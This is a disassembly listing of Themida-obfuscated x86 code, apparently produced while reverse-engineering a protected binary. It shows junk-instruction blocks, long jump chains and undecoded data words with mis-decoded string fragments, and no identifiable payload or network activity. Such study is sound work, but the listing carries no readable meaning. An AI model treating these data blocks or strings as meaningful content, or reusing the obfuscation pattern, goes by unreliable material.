0FFFFC381h, 8E9FFFFh, 8BFFFFECh, 0C483240Ch, 0B9E6804h dd 0A1E90000h, 0FF000004h, 20E92434h, 89000097h, 3C68242Ch dd 54000061h, 8124048Fh, 42404h, 815D0000h, 4C5h, 0EC815000h dd 4, 6DCCE9h db 0 ; --------------------------------------------------------------------------- loc_5638C5: ; CODE XREF: Themida_:005623C7j mov ecx, 3DB97D24h jmp loc_567183 ; --------------------------------------------------------------------------- db 89h dd 38E95AD6h, 81000126h, 70D73AEDh, 8E3BE9F6h, 74310000h dd 15E90424h, 81000077h, 717E17C7h, 0F3BBE912h, 0E959FFFFh dd 9241h, 4C381h, 0C3810000h, 4, 5C241C87h, 2D4EEB81h dd 0EB81236Ch, 7E3E5B05h, 0C381FB29h, 7E3E5B05h, 2D4EC381h dd 3C8B236Ch, 0E0895024h, 1019E957h, 0E95A0001h, 0FFFFEFA5h dd 4877F581h, 0E981D01Dh, 12B75BC0h, 48E9B850h, 0D0F76F2Ah dd 4EC81h, 4890000h, 240CFF24h, 73880558h, 0F3352AE7h dd 0C12F8F47h, 0CB3503E0h, 29B0FE28h, 0C18158C1h, 7BDC0082h dd 0E981E929h, 7BDC0082h, 4710E9h db 0 ; --------------------------------------------------------------------------- loc_563981: ; CODE XREF: Themida_:0056474Cj mov edi, esi pop esi jmp loc_5707D0 ; --------------------------------------------------------------------------- db 59h, 68h, 0 dd 0E9000000h, 619Ah ; --------------------------------------------------------------------------- loc_563994: ; CODE XREF: Themida_:0056B107j xchg ebx, [esp] pop esp mov [esp], ecx push 736E0A67h push dword ptr [esp] pop ecx push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub esp, 4 mov [esp], esi push 4 pop esi add edi, esi mov esi, [esp] push eax jmp loc_57424C ; --------------------------------------------------------------------------- loc_5639D3: ; CODE XREF: Themida_:0056D1B9j push 4 pop eax sub edi, eax jmp loc_574B9E ; --------------------------------------------------------------------------- dd 242C8759h, 240C895Ch, 8904EC83h, 7E68241Ch, 5B701813h dd 6D9FE9h db 0 ; --------------------------------------------------------------------------- loc_5639F9: ; CODE XREF: Themida_:0056186Cj neg ebx add ebx, 9C1C6F05h jmp loc_56EB1B ; --------------------------------------------------------------------------- dw 0E957h dd 12D0Dh, 3B4BE981h, 28E97E8Fh, 680000A3h, 2208h, 54241489h dd 4C2815Ah, 83000000h, 143304C2h, 24143124h, 5C241433h dd 0D629C781h, 0F8893E2Ch, 10C3DE9h, 0E9CB2900h, 83E4h dd 2434FF58h, 0E924048Bh, 0FFFFDF8Ah, 8124148Bh, 4C4h dd 0E9FE0100h, 0FFFFFC95h, 8E2C158h, 0FFFFEA81h, 3EE9FFFFh dd 10000D3h, 34FF5BDDh, 2434FF24h, 3503E9h, 5BD90100h dd 0FDE7E9h db 0 ; --------------------------------------------------------------------------- loc_563A89: ; CODE XREF: Themida_:00565D57j or eax, eax jz loc_570D54 push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_56B0DF ; --------------------------------------------------------------------------- loc_563AA2: ; CODE XREF: Themida_:0056AEA7j mov edx, [esp] push ebp mov ebp, esp jmp loc_56913C ; --------------------------------------------------------------------------- db 5Bh, 4Bh, 0C1h dd 0B85005EBh, 3AC1ED0Dh, 8958C331h, 0B9E95BDAh, 5100012Dh dd 0C85B55B9h, 5CC1817Eh, 819A81DEh, 0E852CAEAh, 81CA0125h dd 0E852CAC2h, 67E95925h, 83000021h, 48904ECh, 11176824h dd 29587582h, 0E9042444h, 0FFFFFF50h ; --------------------------------------------------------------------------- loc_563AF8: ; CODE XREF: Themida_:00573186j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push eax mov eax, 17F313F3h push eax push 7A84h mov [esp], eax jmp loc_566287 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 89240489h, 0BCE951E0h, 0C10000D9h, 3BE905EFh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B33: ; CODE XREF: Themida_:00567EB1j mov edi, ecx mov ebp, edi jmp loc_5700BA ; --------------------------------------------------------------------------- dd 1203EE81h, 0DE014393h, 1203C681h, 0EE814393h, 5AB42756h dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 0FF565C24h dd 0FF042474h, 565E2434h, 0C681E689h, 4, 5AE1E951h, 80580000h dd 0D1F6A1E9h, 6AE9D9F6h, 8100007Ah, 6E39A9C7h, 5FFA293Fh dd 69E5E9h, 2EEC100h, 0E902EEC1h, 37DBh, 212B850h, 68570485h dd 2F7F0B3Bh, 0E9243C8Bh, 0B78Dh ; --------------------------------------------------------------------------- loc_563BB8: ; CODE XREF: Themida_:00569D32j push dword ptr [esp] jmp loc_566BEA ; --------------------------------------------------------------------------- loc_563BC0: ; CODE XREF: Themida_:00568D12j mov [esp], ecx push esi mov esi, 1A05ACBh jmp loc_5721EE ; --------------------------------------------------------------------------- dw 0F681h dd 17EA4C7Fh, 348BF201h, 4C48324h, 8124048Bh, 4C4h, 0C0CCE900h dd 0C2810000h, 4B5F4C04h, 0DE9CA01h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563BF7: ; CODE XREF: Themida_:00565694j pop ebx add esi, eax pop eax and eax, esi jmp loc_56B6D0 ; --------------------------------------------------------------------------- aZsV db 'Zé±V',0 align 4 a3Sn db '3,$\éN»',0 dd 2474FF00h, 24148B04h, 4C481h, 48F0000h, 34895C24h, 2474FF24h dd 92E95E04h, 10000B4h, 21A62DD0h, 0BE564E21h, 2CF33EEBh dd 5D99E681h, 0BBE94365h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C47: ; CODE XREF: Themida_:00570FC8j pop ecx and edx, ebp pop ebp or edx, 581847DAh add edx, 76C1710h add edi, edx pop edx add edi, edx sub edi, 5F845EEEh jmp loc_5766A9 ; --------------------------------------------------------------------------- db 81h dd 280708EAh, 93E9425Eh, 0E9FFFFD5h, 0FFFFD3CAh, 8704C783h dd 248B243Ch, 4C18124h, 83000000h, 0B4E904ECh db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C8F: ; CODE XREF: Themida_:00571A54j pop eax add esp, 4 push ebx jmp loc_56912A ; --------------------------------------------------------------------------- loc_563C99: ; CODE XREF: Themida_:00563D1Dj pop edi or eax, 55106584h shl eax, 4 shr eax, 3 xor eax, 0FB4DBC8h jmp loc_576B13 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0E902C583h, 0FFFFFA72h ; --------------------------------------------------------------------------- loc_563CC0: ; CODE XREF: Themida_:0056ADB0j or esi, 793674BBh sub esi, 6B955EDFh add ebx, esi pop esi neg ebx shr ebx, 8 jmp loc_5660AB ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 81h dd 0BE196EE2h, 21F28101h, 0E97412A1h, 7BE4h, 835AC304h dd 148904ECh, 4EC8124h, 89000000h, 0C1E9241Ch, 89000055h dd 0B951241Ch, 325142A6h, 2511E9h, 0D32CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D16: ; CODE XREF: Themida_:0056A1E3j add eax, edi add eax, 70620F5h jmp loc_563C99 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 0F2D9E9EBh, 2BE0000h, 0E9000000h, 0FFFFE982h dd 0BA241489h, 2D3325A8h, 5505EAC1h, 9773E4BDh, 1220E9E0h dd 81550001h, 7CE42434h, 348B5EF1h, 4C48124h, 51000000h dd 0FFD761E9h db 0FFh ; --------------------------------------------------------------------------- loc_563D65: ; CODE XREF: Themida_:0056C83Fj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_57672A ; --------------------------------------------------------------------------- dd 54243489h, 4C6815Eh, 83000000h, 3C8904ECh, 4685024h dd 8B000000h, 0C4812404h, 4, 89C38953h, 0AF2FE9DFh, 0C7830000h dd 243C8704h, 21C3685Ch, 34890000h, 4BE24h, 0F3010000h dd 241C335Eh, 0EF8BE9h, 4CB95100h, 31B2CBBCh, 0E95559CDh dd 0D208h, 0F63CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DDA: ; CODE XREF: Themida_:0056C4DBj pop edi jmp loc_5707C5 ; --------------------------------------------------------------------------- aIsS db '‰é]é',8,'Ê',0 align 4 dd 5D2434FFh, 4C481h, 0C7090000h, 0C8BE5658h, 31721C74h dd 0F3E95EF7h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563E03: ; CODE XREF: Themida_:00566B8Ej or ebp, 7C342300h jmp loc_5642E9 ; --------------------------------------------------------------------------- loc_563E0E: ; CODE XREF: Themida_:0056C251j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_56CDF4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 13E95724h, 66FFFFE0h, 0E9E0D05Ah, 0D7F8h ; --------------------------------------------------------------------------- loc_563E30: ; CODE XREF: Themida_:0056B0EBj push 10CEh mov [esp], ecx jmp loc_5677FB ; --------------------------------------------------------------------------- db 81h, 0F7h, 1Ah dd 0E925514Eh, 0FFFFD893h ; --------------------------------------------------------------------------- loc_563E48: ; CODE XREF: Themida_:00564279j add edx, 4 jmp loc_56D3F6 ; --------------------------------------------------------------------------- db 0BFh dd 788E2799h, 10A7BE9h, 0B4E95900h db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563E63: ; CODE XREF: Themida_:0056CD1Dj add esp, 4 pop edx jmp loc_5663F9 ; --------------------------------------------------------------------------- db 81h dd 9E1ED0EDh, 84C5813Ah, 159A414h, 84ED81F5h, 8159A414h dd 9E1ED0C5h, 2C335E3Ah, 242C3124h, 5913E9h db 0 ; --------------------------------------------------------------------------- loc_563E95: ; CODE XREF: Themida_:0057245Cj push ebp jmp loc_57223C ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 0B361E904h, 59580000h, 5A2434FFh, 5004C483h dd 0C288D888h, 55C5E9h, 9CCF8100h, 0E96C567Ch, 880Bh, 0E700C9B7h dd 9BF0E9h db 0 ; --------------------------------------------------------------------------- loc_563ECD: ; CODE XREF: Themida_:0056911Aj xor ecx, [esp] jmp loc_57206F ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 4 dd 1246E9h db 0 ; --------------------------------------------------------------------------- loc_563EDD: ; CODE XREF: Themida_:00575F5Fj add ebx, 4 jmp loc_56C9FB ; --------------------------------------------------------------------------- loc_563EE8: ; CODE XREF: Themida_:005749AEj xor [esp], edi xor edi, [esp] xor [esp], edi xor edi, ebx xor ebx, edi jmp loc_5750D0 ; --------------------------------------------------------------------------- aXhys db 'XhYs',0 align 10h aSi_0 db 'é›Ë',0 db 0 ; --------------------------------------------------------------------------- loc_563F05: ; CODE XREF: Themida_:00568C5Fj xor edx, ebp jmp loc_575225 ; --------------------------------------------------------------------------- dd 8B5DE829h, 0C481243Ch, 4, 0AEBA5250h, 0E91FFE18h, 0D090h dd 9EE981h, 7CE933FEh db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563F2F: ; CODE XREF: Themida_:005698B2j add ebx, edx jmp loc_561458 ; --------------------------------------------------------------------------- loc_563F36: ; CODE XREF: Themida_:005676F8j push edx push 6E18h mov [esp], esi jmp loc_571B6F ; --------------------------------------------------------------------------- dd 78FEF181h, 680003h, 89000035h, 9E9241Ch db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563F57: ; CODE XREF: Themida_:00568024j mov [esp], ebx push edx push 45456FCBh pop edx sub edx, 687D002Ch jmp loc_56FE41 ; --------------------------------------------------------------------------- loc_563F6C: ; CODE XREF: Themida_:005690F9j pop esp push edx mov edx, 1B7F28BCh shl edx, 2 add edx, 0B7F3C7B5h add esi, 1F8B0A75h add esi, edx sub esi, 1F8B0A75h jmp loc_574A13 ; --------------------------------------------------------------------------- db 57h dd 0DDB7C1BFh, 8BF901D1h, 0EBE9243Ch db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563F9F: ; CODE XREF: Themida_:005640ABj mov eax, ecx pop ecx sub esp, 4 mov [esp], ebx mov ebx, 51637C47h push 7B91h jmp loc_56E538 ; --------------------------------------------------------------------------- dw 0E95Eh dd 146Dh, 2B60F66h, 119EAE9h, 0E9D30000h, 2E1Ah, 240C8B66h dd 4EC81h, 0C890000h, 4EC8324h, 83242489h, 59042404h, 4C181h dd 81550000h, 4ECh, 0FD09E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563FFA: ; CODE XREF: Themida_:0056D3F9j pop esp push eax mov eax, 1EFE13FAh shr eax, 7 jmp loc_5681E3 ; --------------------------------------------------------------------------- loc_564009: ; CODE XREF: Themida_:005761E0j mov [esp], edx jmp loc_575C8E ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 348704EEh, 21E95C24h, 0C1FFFFEFh, 0EA2D07E0h dd 0E90E4F28h, 64E8h ; --------------------------------------------------------------------------- loc_564030: ; CODE XREF: Themida_:00566BB3j xor edi, 9B0235Ah add edi, 0D867E5CBh xor edi, 4BC24448h add ecx, edi jmp loc_56CFF9 ; --------------------------------------------------------------------------- loc_564049: ; CODE XREF: Themida_:00566E9Dj mov [esp], esp jmp loc_566E7D ; --------------------------------------------------------------------------- db 0BBh, 3, 4Ah dd 0A6E93E78h, 810000F5h, 4C1h, 5C006800h, 2C890000h, 0D174E924h dd 0B468FFFFh, 89000077h, 4812424h, 424h, 0C3A2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564082: ; CODE XREF: Themida_:005706CBj add edi, 4 jmp loc_5740E3 ; --------------------------------------------------------------------------- loc_56408D: ; CODE XREF: Themida_:00575778j mov [esp], ecx push 5C487DA9h pop ecx push ebx mov ebx, 44647C6Ch sub ecx, 1E310BACh sub ecx, ebx add ecx, 1E310BACh pop ebx jmp loc_563F9F ; --------------------------------------------------------------------------- dd 0B60F6664h, 0E7895702h, 3534E9h, 60BE5600h, 875DC50Ch dd 87D5F7EEh, 81DEF7EEh, 0D17929EEh, 3BF68163h, 0F737D148h dd 73BB53D6h, 814C7F7Eh, 28BBCDF3h, 0E9DE2982h, 70A7h dd 438BC381h, 0C3817269h, 36112FDh, 5914C381h, 0C32978B5h dd 2535BA52h, 0EAC17F6Ch, 81D2F702h, 54B1CE2h, 8EAC114h dd 586EC281h, 0F0E9273Bh db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56411F: ; CODE XREF: Themida_:00561763j push ebp jmp loc_56B172 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 4EC8124h, 89000000h, 76BE2434h, 6879C04Ah, 490Dh, 68243C89h dd 0 dd 0E9F7295Fh, 7FFEh, 24048B66h, 5A8C68h, 242C8900h, 9981E9h db 0 ; --------------------------------------------------------------------------- loc_56415D: ; CODE XREF: Themida_:0056E3EDj mov ecx, ebx pop ebx sub esp, 4 mov [esp], edi jmp loc_56D41D ; --------------------------------------------------------------------------- loc_56416E: ; CODE XREF: Themida_:0056CA2Dj add edx, ebp pop ebp xchg edx, [esp] pop esp jmp loc_56C9F4 ; --------------------------------------------------------------------------- dw 8959h dd 0EA815DEBh, 22F33B4Ah, 45FABF57h, 3DE970D0h, 830000E7h dd 3C8904ECh, 3C8B5424h, 4C48124h, 56000000h, 0C681E689h dd 4, 8704EE83h, 248B2434h, 55A7E924h, 87E90000h, 1FFFFCEh dd 4CC8E9C3h, 0F2310000h, 79CEE95Eh, 18B90000h, 215B9F3Fh dd 0EB8159CBh, 1B070714h, 35E9E9h db 0 ; --------------------------------------------------------------------------- loc_5641DD: ; CODE XREF: Themida_:0056E523j sub edx, 220D2A19h pop ebp jmp loc_5636C0 ; --------------------------------------------------------------------------- db 5Eh, 1, 0E8h aRh db ']Rhœ',0 aUZbtknx?wBdqms db 'î{ZâªNX?W¿DŸMéÚÖ',0 dd 0DEA8100h, 16EC27Ah, 0DC281EAh, 8B6EC27Ah, 8953242Ch dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 5D74E95Ch, 4330000h dd 24043124h, 0FFCE09E9h db 0FFh ; --------------------------------------------------------------------------- loc_564239: ; CODE XREF: Themida_:0056D1C2j mov cl, 7Fh jmp loc_56EBD8 ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 8B240487h, 0EFE92424h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564253: ; CODE XREF: Themida_:00562852j sub eax, esi jmp loc_576A29 ; --------------------------------------------------------------------------- loc_56425A: ; CODE XREF: Themida_:00562365j pop ebx jmp loc_56D80E ; --------------------------------------------------------------------------- loc_564260: ; CODE XREF: Themida_:00566021j pop eax push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_563E48 ; --------------------------------------------------------------------------- loc_56427E: ; CODE XREF: Themida_:00566034j mov [esp], eax sub esp, 4 mov [esp], edx push dword ptr [esp] pop eax push 42D6h mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_56BD09 ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 7830AA04h, 34FF5A1Eh, 8947E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5642BA: ; CODE XREF: Themida_:0056988Dj add ebx, eax pop eax mov edx, [esp] push 5233h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_562606 ; --------------------------------------------------------------------------- loc_5642DB: ; CODE XREF: Themida_:00564AEEj xor ebx, [esp] jmp loc_571FD3 ; --------------------------------------------------------------------------- aRsod db 'Réod',0 db 0 ; --------------------------------------------------------------------------- loc_5642E9: ; CODE XREF: Themida_:00563E09j push edi push ebp push 75B62E0Ah mov ebp, [esp] add esp, 4 add ebp, 64E20AF2h add ebp, 9544E952h mov edi, ebp jmp loc_57333D ; --------------------------------------------------------------------------- dd 0A4C38158h, 590B6D14h, 652D68h, 241C8900h, 2028E9h db 0 ; --------------------------------------------------------------------------- loc_564321: ; CODE XREF: Themida_:0056F9DBj push 11C2h mov [esp], ebx jmp loc_570CBA ; --------------------------------------------------------------------------- dw 0FF53h dd 5B042474h, 14E3E9h, 24048900h, 67685854h, 0E9000073h dd 0B7DBh, 51E9C788h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56434F: ; CODE XREF: Themida_:0056E90Bj push cx mov ch, 0FFh sub bl, 81h add bl, ch add bl, 81h pop cx neg bl add bl, 14h xor al, bl jmp loc_575503 ; --------------------------------------------------------------------------- db 68h, 0BCh, 0Ah dd 28E93A79h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564373: ; CODE XREF: Themida_:0056996Dj and ebp, 1A9910E7h jmp loc_570098 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 0E9000000h, 9432h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 4FBFE9h, 60685900h, 8900001Eh, 5B54241Ch dd 36CD68h, 24048900h, 674EE9h db 0 ; --------------------------------------------------------------------------- loc_5643B9: ; CODE XREF: Themida_:0056AD88j add edi, 0DFDEAC7Dh add eax, edi mov edi, [esp] add esp, 4 add eax, 7C1119FFh sub eax, ebp push edx mov edx, 7C1119FFh sub eax, edx jmp loc_56ADD7 ; --------------------------------------------------------------------------- db 57h dd 0A42FDCBFh, 8BFE215Eh, 0C481243Ch, 4, 0CC5DE950h, 0D3010000h dd 2F45E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5643FA: ; CODE XREF: Themida_:00575132j pop esi jmp loc_567CA8 ; --------------------------------------------------------------------------- dd 8004E2C0h, 0D0006DEAh, 52F0005Ah, 0C28099B2h, 0E420E91Dh dd 0EA810000h, 54137BB7h, 0C462F281h, 0D101DEFDh, 9210E95Ah dd 0A2680000h, 89000049h, 78BB241Ch, 1664D0Dh, 0C1815BD9h dd 7D283A11h, 4104E1C1h, 5895C981h, 0BE565EDCh, 0B4B70B02h dd 0CFE9F131h, 0BD000039h, 0BF13ECBh, 0CD81D5F7h, 32057936h dd 638EC581h, 0CAE93385h, 0AD000001h, 0EC81D831h, 4, 51243C89h dd 0D08EE953h, 0C890000h, 83E18924h, 348904ECh, 660CBE24h dd 0BF575DF9h, 5B8E76FDh, 2685CF81h, 0CF812504h, 3F1E4F40h dd 0C147EFD1h, 6BE906E7h, 590000C4h, 2BD55h, 0EF010000h dd 821E95Dh, 8B660001h, 13682404h, 89000015h, 0DEE92414h dd 68000005h, 5920h, 50241489h, 847B08B8h, 0FCBB5302h dd 0E9FD7B84h, 9BA8h ; --------------------------------------------------------------------------- loc_5644E8: ; CODE XREF: Themida_:00570552j mov esi, [esp] push esi mov esi, esp add esi, 4 push eax mov eax, 54A2405Ch add eax, 0AB5DBFA8h add esi, eax pop eax jmp loc_574933 ; --------------------------------------------------------------------------- db 81h dd 63E1D8C6h, 5EF23115h, 2593F281h, 0D7E94EF2h, 890000E5h dd 30E9241Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564523: ; CODE XREF: Themida_:00574510j add esp, 4 or edx, eax shl edx, 1 push ebx push 3717h mov [esp], esi jmp loc_569606 ; --------------------------------------------------------------------------- loc_564538: ; CODE XREF: Themida_:0056BD04j mov [esp], edx mov edx, 0CFC2BDFAh sub ebp, edx pop edx push ebp pop ebx mov ebp, [esp] add esp, 4 push ebx pop edi mov ebx, [esp] add esp, 4 jmp loc_575959 ; --------------------------------------------------------------------------- dw 0BA52h dd 75344A5Eh, 815AD331h, 1F7F13C7h, 81DF0124h, 1F7F13EFh dd 2434FF24h, 6EEF685Bh, 3C890000h, 81E78924h, 4C7h, 4C78100h dd 33000000h, 3C31243Ch, 243C3324h, 9D33E95Ch, 0E5800000h dd 76ED80EFh, 3057B252h, 0E9535AD5h, 49B3h, 0FFCA8DE9h dd 0A187BFFFh, 0C72975F6h, 1EEF8158h, 1496C5Ch, 0CD33E9FDh dd 3040000h, 32CD828h, 25C6E9h, 4C18100h, 83000000h, 0A5E904C1h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5645E3: ; CODE XREF: Themida_:00573AB0j push esi jmp loc_56263A ; --------------------------------------------------------------------------- aUhRZMb db 'UhÑR>z]MÅ',7,0 db 0CAh, 0FFh, 0E9h dd 0FFFFE8CFh, 2F15BB53h, 6ABF7305h, 1F3810Dh, 0C1475BDFh dd 0C5E905EFh, 660000CFh, 0E924048Bh, 0DFD3h, 4EC81h, 14890000h dd 89C28924h, 0A106E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56462E: ; CODE XREF: Themida_:00566DB9j push esi mov esi, 2E6A724Fh jmp loc_571B80 ; --------------------------------------------------------------------------- db 29h, 0EEh, 5Dh dd 0EE81DEF7h, 1C6A9339h, 4380C781h, 0F701691Fh, 4380EF81h dd 555E691Fh, 10BA8E9h, 0A8C78100h, 8B5E7D61h, 0C4812434h dd 4, 28E9FB29h, 0AD0000ACh, 4968D831h, 89000057h, 91E9240Ch dd 810000FDh, 0FB47C7C2h, 0F245E99Eh, 0BE56FFFFh, 6CA72590h dd 26F6814Eh, 2971A124h, 0BD555EF0h, 2AF051DBh, 0A3E9E801h dd 8900002Eh, 4B951E2h, 1000000h, 0E17BE9CAh, 489FFFFh dd 34D9E924h, 248B0000h, 52F9F724h, 0BF575A54h, 61957FB8h dd 3989F781h, 0E9566C74h, 2998h, 0ED834D5Eh, 2420E901h dd 0E9520000h, 10374h ; --------------------------------------------------------------------------- loc_5646E8: ; CODE XREF: Themida_:00564BCDj pop edx dec al xor al, 0D0h jmp loc_565572 ; --------------------------------------------------------------------------- dw 2B68h dd 0E9000012h, 3E65h ; --------------------------------------------------------------------------- loc_5646FC: ; CODE XREF: Themida_:00566E78j pop ebx add cl, 1Eh sub al, cl push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp push esp pop ebp push edx mov edx, 4CC33BBDh dec edx sub esp, 4 jmp loc_5707A2 ; --------------------------------------------------------------------------- dd 6851C780h, 17C0h, 51240489h, 51662CB1h, 662414F6h, 78F18059h dd 0B4E9C888h db 0D1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56473F: ; CODE XREF: Themida_:00575426j neg edi shl edi, 6 push esi mov esi, 0 sub esi, edi jmp loc_563981 ; --------------------------------------------------------------------------- db 89h, 0C2h, 58h dd 0F210559h, 0D001043Fh, 3F0F212Dh, 24148B04h, 0E904C483h dd 0FFFFD3ECh, 5A4568h, 242C8900h, 9C96E9h, 62EE8100h dd 0C1194B62h, 0F68102EEh, 79E6ED59h, 348BF031h, 4C48124h dd 5000000h, 2E9A2397h, 3818C70Dh, 5E8C16Fh, 0FFEDD6E9h dd 52C280FFh, 5A5AD028h, 2702E952h, 0F0310000h, 0D0F7C631h dd 0F031C631h, 0E952C631h, 10EECh ; --------------------------------------------------------------------------- loc_5647C4: ; CODE XREF: Themida_:0056D961j add ebx, 0C05243C8h shl ebx, 5 jmp loc_57365C ; --------------------------------------------------------------------------- dw 8150h dd 444C2404h, 0C8E90BAEh db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5647DF: ; CODE XREF: Themida_:0056D3E4j dec ecx add ecx, 0C21145FBh add eax, ecx pop ecx add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx mov edx, 49B60B92h mov eax, 0B649F472h jmp loc_56796F ; --------------------------------------------------------------------------- db 2Dh, 59h, 0F6h dd 0C289F07Dh, 5521E958h, 5E540000h, 4C681h, 0C6810000h dd 4, 5C243487h, 4EC81h, 7FE90000h, 0B70000B8h, 0ACF780B8h dd 885BFA88h, 0FAE95AD1h, 520000D8h, 9F325EBAh, 0FFD52107h dd 815A2434h, 4C4h, 0A4FAE900h, 0C1810000h, 570643Dh, 4C1835Dh dd 0E904EC83h, 3A09h, 8035EA80h, 0B0501DCAh, 0FEC0FE05h dd 343004C0h, 0C304D3h, 0B7E958C2h, 580000DEh, 0E7895757h dd 0CDE9E9h, 87C58100h, 1714D15h, 87ED81C5h, 58714D15h dd 0E5069305h, 2DE80110h, 10E50693h, 0E92434FFh, 0E7BDh ; --------------------------------------------------------------------------- loc_5648B4: ; CODE XREF: Themida_:005619D9j mov esp, [esp] push 53FFh mov [esp], esi mov esi, esp push ebx jmp loc_569EE0 ; --------------------------------------------------------------------------- db 59h dd 1032DE9h, 2434FF00h, 0FFFFB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648D5: ; CODE XREF: Themida_:00564EFBj push ebp mov ebp, 3A444A3Ah jmp loc_56B2DA ; --------------------------------------------------------------------------- loc_5648E0: ; CODE XREF: Themida_:00576324j pop ebp sub esp, 4 jmp loc_57280F ; --------------------------------------------------------------------------- loc_5648EC: ; CODE XREF: Themida_:0056912Cj add ebx, 4 push 4861h mov [esp], ebp push ecx jmp loc_566647 ; --------------------------------------------------------------------------- dd 4EC835Eh, 53242C89h, 7699E9h db 0 ; --------------------------------------------------------------------------- loc_56490D: ; CODE XREF: Themida_:00561149j pop ecx push edi mov edi, esp add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp jmp loc_56AAE6 ; --------------------------------------------------------------------------- db 81h dd 0CE3075C7h, 81DF010Dh, 0CE3075EFh, 0C7815B0Dh, 4, 0E9243C87h dd 0BA7Ch, 35676856h, 0B95E339Ch, 23B4849h, 348BF101h dd 4C48324h, 56F7EB81h, 0BD552041h, 6BF5402Ah, 15DEB01h dd 2AEB81CBh, 576BF540h, 4156F7BFh, 5FFB0120h, 68240C8Bh dd 2F74h, 68241C89h, 3D38h, 81242489h, 42404h, 9E90000h dd 210000F8h, 0E95D1C6Fh, 11498h, 0B8240489h, 1F3D54CEh dd 0CA5C5D25h, 0B5850524h, 0D0F75177h, 68FFE883h, 418h dd 53240C89h, 0D69B468h, 81435B25h, 0D85F49EBh, 5BD989EBh dd 4107E9C1h, 0FD87E987h, 0FD31D7F7h, 0FD31EF31h, 0E1C1E987h dd 47EBE905h, 77FF0000h, 59669D1Ch, 2414D366h, 14E8E99Ch db 1, 0 ; --------------------------------------------------------------------------- loc_564A06: ; CODE XREF: Themida_:00562FBEj push ebx mov ebx, ebp mov eax, ebx push dword ptr [esp] pop ebx add esp, 4 mov ebp, [esp] push edi mov edi, esp jmp loc_57141D ; --------------------------------------------------------------------------- dd 24048F58h, 6624248Bh, 9C2424D3h, 0FFC611E9h, 68FD5AFFh dd 4E0Bh, 0FFFF6FE9h, 2BBFFh, 0DA010000h, 11FBDE9h, 37C58100h dd 89FCE86Ch, 0EF0E9EBh, 34FF0001h, 240C8B24h, 4C481h dd 0A9E90000h, 8B000112h, 89562414h, 4C681E6h, 0E9000000h dd 403Eh, 24048F5Fh, 5324248Bh, 0FFFFB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_564A85: ; CODE XREF: Themida_:005769AEj mov [esp], cx jmp loc_57547F ; --------------------------------------------------------------------------- dw 48Fh dd 0C4835C24h, 0E9545104h, 10A50h, 0DAD6C681h, 0C5815B47h dd 4F1A4F06h, 0FFD686E9h, 50E289FFh, 5C1768h, 243C8900h dd 6951D6BFh, 7468577Dh, 5F325E48h, 19A6F781h, 0F8894F37h dd 8BF8315Fh, 0C483243Ch, 0C0685304h, 5B173313h, 0F99EE943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564AE2: ; CODE XREF: Themida_:00565599j add ebx, 4 add ebx, 4 jmp loc_5642DB ; --------------------------------------------------------------------------- db 88h dd 5AF188DEh, 6E1C05Bh, 19D5E9h db 0 ; --------------------------------------------------------------------------- loc_564B01: ; CODE XREF: Themida_:0056799Ej mov ecx, esp add ecx, 4 jmp loc_575B82 ; --------------------------------------------------------------------------- dw 0CA01h 